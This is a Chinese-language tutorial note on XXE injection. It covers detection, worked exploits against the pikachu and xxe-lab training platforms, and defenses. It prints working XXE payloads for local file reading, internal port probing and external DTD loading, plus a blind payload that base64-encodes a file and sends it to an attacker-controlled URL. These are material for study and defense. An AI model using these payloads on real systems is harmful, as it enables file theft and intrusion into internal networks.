网络安全笔记 -- XXE&XML(利用、检测、绕过)

1. 概念

XML: 指可扩展标记语言,被设计用来传输和存储数据。

XXE: 全称(XML External Entity Injection)XML外部实体注入,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

2. 检测和利用

2.1 概要

检测

  • 白盒: 函数及可控变量查找、传输和存储数据格式类型
  • 黑盒: 人工、 工具

人工检测包含:

  • 数据格式类型判断:<user>test</user><pass>Mikasa</pass>
  • Content-Type值判断:text/xml、application/xml
  • 更改Content-Type值看返回

利用

  • 输出形式:有回显(http、file、各脚本协议、外部引用)、无回显(外部引用-反向链接配合)
  • 过滤绕过:协议玩法、外部引用、编码UTF-16BE

2.2 实例

2.2.1 pikachu平台实例(有回显)

在这里插入图片描述

读文件

<?xml version = "1.0"?>
<!DOCTYPE ANY [
	<!ENTITY xxe SYSTEM "file:///usr//a.txt">
]>
<x>&xxe;</x>

内网探针或攻击内网应用

<?xml version = "1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
	<!ELEMENT foo ANY>
	<!ENTITY rabbit SYSTEM "http://127.0.0.1:8080/index.txt">
]>
<x>&rabbit;</x>

引入外部实体dtd(需要开启 “允许外部条件使用”)

<?xml version = "1.0" ?>
<!DOCTYPE test [
	<!ENTITY % file SYSTEM "http://127.0.0.1:8080/evil.dtd">
	%file;
]>
<x>&send;</x>

evil.dtd文件:

<!ENTITY send SYSTEM "file:///usr//a.txt">

2.2.2 pikachu平台实例(无回显)

读取文件,将文件内容发送到特定网站(攻击者网站),通过查看日志文件得到结果

<!DOCTYPE ANY [
	<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///usr//a.txt">
	<!ENTITY % dtd SYSTEM "http://127.0.0.1:8080/evil.dtd">
	%dtd;
	%send;
]>

evil.dtd文件:

<!ENTITY % payload 
"<!ENTITY &#x25; send SYSTEM 'http://127.0.0.1:8080/re.php?data=%file;'>"
 >
%payload;

2.2.3 xxe-lab平台实例

检测思路和利用

  1. 提交的数据包包含XML格式如:
    admin123
  2. 请求头中如:
    Content-Type: application/xml;charset=utf-8
    Content-Type: text/xml;charset=utf-8
  3. 构造payload,并上传
<?xml version = "1.0"?>
<!DOCTYPE ANY [
	<!ENTITY xxe SYSTEM "file:///usr//a.txt">
]>
<user><username>&xxe;</username><password>1</password></user>

在这里插入图片描述
在这里插入图片描述

3. 防御

1. 禁用外部实体
PHP
Python
Java

2. 过滤用户提交的XML数据

过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC

3. 使用WAF产品

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值